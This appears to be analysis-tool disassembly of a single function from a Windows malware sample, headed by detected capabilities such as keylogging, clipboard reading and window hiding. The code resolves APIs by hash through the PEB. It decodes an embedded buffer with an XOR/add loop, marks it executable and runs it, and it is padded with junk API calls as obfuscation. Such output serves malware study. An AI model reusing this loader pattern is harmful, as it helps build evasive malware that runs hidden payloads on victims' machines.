Function at 0x401130
Capabilities:
Access peb ldr_data
Get kernel32 base address
Hide graphical window
Log keystrokes via polling
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a24
call fcn.004018d0
push ebx
push esi
push edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x5790f301
push eax
call fcn.00401050
push 0x56b0579b
mov esi, eax
call dword [sym.imp.USER32.dll_GetClipboardData]
cmp dword [ebp - 4], 0
mov edi, dword [sym.imp.USER32.dll_ReleaseDC]
je 0x4011a9
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
cmp dword [ebp - 4], 0
je 0x4011a0
push 0x55296ec9
push str.a426g8wn36hxdf4k0xqy
push 0x22f2528a
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
call esi
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
mov ebx, dword [sym.imp.USER32.dll_CharNextW]
push str.67rj1biio51sbx0rdia6
call ebx
cmp dword [ebp - 4], 0
je 0x4011d1
push 0x55296ec9
push str.a426g8wn36hxdf4k0xqy
push 0x22f2528a
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call esi
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
cmp dword [ebp - 4], 0
je 0x40123a
push 0x55296ec9
push str.a426g8wn36hxdf4k0xqy
push 0x22f2528a
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
cmp dword [ebp - 4], 0
je 0x40122f
mov eax, dword [sym.imp.Normaliz.dll_IdnToUnicode]
push 0x5dc2fd92
push str.vxd4kupgy65n34eqd7ng
push 0x4cb3c719
push str.x76qbigv5jf1g3vbfa8t
push 0x5e0f8105
call eax
push 0x4021bc
call dword [sym.imp.USER32.dll_VkKeyScanA]
push 0x5dc2fd92
push str.vxd4kupgy65n34eqd7ng
push 0x4cb3c719
push str.x76qbigv5jf1g3vbfa8t
push 0x5e0f8105
call dword [sym.imp.Normaliz.dll_IdnToUnicode]
cmp dword [ebp - 4], 0
je 0x401266
push str.67rj1biio51sbx0rdia6
call ebx
push 0x56b0579b
call dword [sym.imp.USER32.dll_GetClipboardData]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x8ca9ef6c
push eax
call fcn.00401050
push 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
cmp dword [ebp - 4], 0
je 0x4012d6
push 0
push 0
push 0x62b62ac0
call esi
push eax
call sub.IMM32.dll_ImmIsUIMessageW
cmp dword [ebp - 4], 0
je 0x4012cb
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
push 0x56b0579b
call dword [sym.imp.USER32.dll_GetClipboardData]
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
cmp dword [ebp - 4], 0
je 0x4012f0
push 0x14cd730c
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x69a1ad6
push eax
call fcn.00401050
mov dword [ebp - 0x1c], eax
call esi
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
cmp dword [ebp - 4], 0
je 0x401377
mov eax, dword [sym.imp.Normaliz.dll_IdnToUnicode]
push 0x5dc2fd92
push str.vxd4kupgy65n34eqd7ng
push 0x4cb3c719
push str.x76qbigv5jf1g3vbfa8t
push 0x5e0f8105
call eax
cmp dword [ebp - 4], 0
je 0x40136e
push 0x5dc2fd92
push str.vxd4kupgy65n34eqd7ng
push 0x4cb3c719
push str.x76qbigv5jf1g3vbfa8t
push 0x5e0f8105
call dword [sym.imp.Normaliz.dll_IdnToUnicode]
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push str.67rj1biio51sbx0rdia6
call ebx
cmp dword [ebp - 4], 0
je 0x401399
push 0x55296ec9
push str.a426g8wn36hxdf4k0xqy
push 0x22f2528a
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x9c857be
push eax
call fcn.00401050
push 0
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
cmp dword [ebp - 4], 0
je 0x40140e
push str.67rj1biio51sbx0rdia6
call ebx
cmp dword [ebp - 4], 0
je 0x4013ef
push 0x56b0579b
call dword [sym.imp.USER32.dll_GetClipboardData]
push 0x5dc2fd92
push str.vxd4kupgy65n34eqd7ng
push 0x4cb3c719
push str.x76qbigv5jf1g3vbfa8t
push 0x5e0f8105
call dword [sym.imp.Normaliz.dll_IdnToUnicode]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
cmp dword [ebp - 4], 0
je 0x40142d
push 0x4021bc
call dword [sym.imp.USER32.dll_VkKeyScanA]
push str.67rj1biio51sbx0rdia6
call ebx
push 0xb4c47f55
push str.User32.dll
call dword [ebp - 0xc]
push eax
call fcn.00401050
push 0x14cd730c
mov dword [ebp - 4], eax
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
cmp dword [ebp - 4], 0
je 0x401480
push 0x56b0579b
call dword [sym.imp.USER32.dll_GetClipboardData]
cmp dword [ebp - 4], 0
je 0x401475
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0x14cd730c
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push str.67rj1biio51sbx0rdia6
call ebx
cmp dword [ebp - 4], 0
je 0x40149e
push 0
push 0
push 0x62b62ac0
call esi
push eax
call sub.IMM32.dll_ImmIsUIMessageW
push 0x56b0579b
call dword [sym.imp.USER32.dll_GetClipboardData]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x93b3503e
push eax
call fcn.00401050
push 0
mov dword [ebp - 0x14], eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
cmp dword [ebp - 4], 0
je 0x40151c
push 0x55296ec9
push str.a426g8wn36hxdf4k0xqy
push 0x22f2528a
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
cmp dword [ebp - 4], 0
je 0x40150e
push 0x55296ec9
push str.a426g8wn36hxdf4k0xqy
push 0x22f2528a
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
push 0x14cd730c
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
cmp dword [ebp - 4], 0
je 0x401534
push str.67rj1biio51sbx0rdia6
call ebx
push 0
push 0
push 0x62b62ac0
call esi
push eax
call sub.IMM32.dll_ImmIsUIMessageW
push 0x958d1c17
push str.Rpcrt4.dll
call dword [ebp - 0xc]
push eax
call fcn.00401050
push 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
cmp dword [ebp - 4], 0
je 0x40159a
push 0
push 0
push 0x62b62ac0
call esi
push eax
call sub.IMM32.dll_ImmIsUIMessageW
cmp dword [ebp - 4], 0
je 0x40158f
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0x14cd730c
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 0x14cd730c
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
cmp dword [ebp - 4], 0
je 0x4015b4
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
push 0
push 0x62b62ac0
call esi
push eax
call sub.IMM32.dll_ImmIsUIMessageW
push 0x56b0579b
call dword [sym.imp.USER32.dll_GetClipboardData]
cmp dword [ebp - 4], 0
je 0x401602
push str.67rj1biio51sbx0rdia6
call ebx
cmp dword [ebp - 4], 0
je 0x4015f4
push 0
push 0
push 0x62b62ac0
call esi
push eax
call sub.IMM32.dll_ImmIsUIMessageW
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
cmp dword [ebp - 4], 0
je 0x40161f
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
lea eax, [ebp - 8]
push eax
push 0
push 1
push 0
push 2
push 0
call dword [ebp - 0xc]
test eax, eax
je 0x40184e
cmp eax, 0x57
jne 0x40184e
push 0x56b0579b
call dword [sym.imp.USER32.dll_GetClipboardData]
cmp dword [ebp - 8], 0
je 0x40168c
push str.67rj1biio51sbx0rdia6
call ebx
cmp dword [ebp - 8], 0
je 0x40167e
push 0
push 0
push 0x62b62ac0
call esi
push eax
call sub.IMM32.dll_ImmIsUIMessageW
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
call esi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
cmp dword [ebp - 8], 0
je 0x4016a9
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
push 0xa
push 0x4021c0
push 0
call dword [ebp - 0x1c]
push eax
push 0
lea edi, [ebp - 0x1a24]
call dword [ebp - 0x18]
mov ecx, eax
test ecx, ecx
je 0x4016f1
mov eax, edi
sub ecx, eax
mov ebx, 0x1a05
mov edi, edi
mov al, byte [edi + ecx]
mov byte [edi], al
lea edi, [edi + 1]
dec ebx
jne 0x4016e0
mov ebx, dword [sym.imp.USER32.dll_CharNextW]
push 0x14cd730c
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
cmp dword [ebp - 8], 0
je 0x40175b
push 0x55296ec9
push str.a426g8wn36hxdf4k0xqy
push 0x22f2528a
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
cmp dword [ebp - 8], 0
je 0x40173c
push 0x5dc2fd92
push str.vxd4kupgy65n34eqd7ng
push 0x4cb3c719
push str.x76qbigv5jf1g3vbfa8t
push 0x5e0f8105
call dword [sym.imp.Normaliz.dll_IdnToUnicode]
push 0x5dc2fd92
push str.vxd4kupgy65n34eqd7ng
push 0x4cb3c719
push str.x76qbigv5jf1g3vbfa8t
push 0x5e0f8105
call dword [sym.imp.Normaliz.dll_IdnToUnicode]
push 0
push 0
push 0x62b62ac0
call esi
push eax
call sub.IMM32.dll_ImmIsUIMessageW
cmp dword [ebp - 8], 0
je 0x40177f
call esi
mov edi, dword [sym.imp.USER32.dll_ShowCaret]
push eax
call edi
jmp 0x401785
mov edi, dword [sym.imp.USER32.dll_ShowCaret]
push 0
push 0
push 0x62b62ac0
call esi
push eax
call sub.IMM32.dll_ImmIsUIMessageW
mov ecx, 0
mov al, byte [ebp + ecx - 0x1a24]
cmp ecx, 0x1a05
je 0x4017cc
add al, 0x30
sub al, 0x18
xor al, 0xb8
add al, 0xe9
sub al, 0xf0
inc al
dec al
add al, 0xa
dec al
xor al, 0xaa
inc al
mov byte [ebp + ecx - 0x1a24], al
add ecx, 1
jmp 0x40179b
mov al, 0
mov ecx, 0
push str.67rj1biio51sbx0rdia6
call ebx
cmp dword [ebp - 8], 0
je 0x401816
push 0x55296ec9
push str.a426g8wn36hxdf4k0xqy
push 0x22f2528a
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
cmp dword [ebp - 8], 0
je 0x40180d
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
call esi
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push str.67rj1biio51sbx0rdia6
call ebx
cmp dword [ebp - 8], 0
je 0x40182e
push 0x4021bc
call dword [sym.imp.USER32.dll_VkKeyScanA]
call esi
push eax
call edi
lea eax, [ebp - 0x10]
push eax
push 0x40
push 0x1a05
lea eax, [ebp - 0x1a24]
push eax
call dword [ebp - 0x14]
mov edi, dword [sym.imp.USER32.dll_ReleaseDC]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
call edi
cmp dword [ebp - 0x10], 0
je 0x40188d
push 0x55296ec9
push str.a426g8wn36hxdf4k0xqy
push 0x22f2528a
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
cmp dword [ebp - 0x10], 0
je 0x401884
push str.67rj1biio51sbx0rdia6
call ebx
call esi
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push str.67rj1biio51sbx0rdia6
call ebx
cmp dword [ebp - 0x10], 0
je 0x4018a1
push str.67rj1biio51sbx0rdia6
call ebx
push 0x4021bc
call dword [sym.imp.USER32.dll_VkKeyScanA]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1a24]
push eax
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret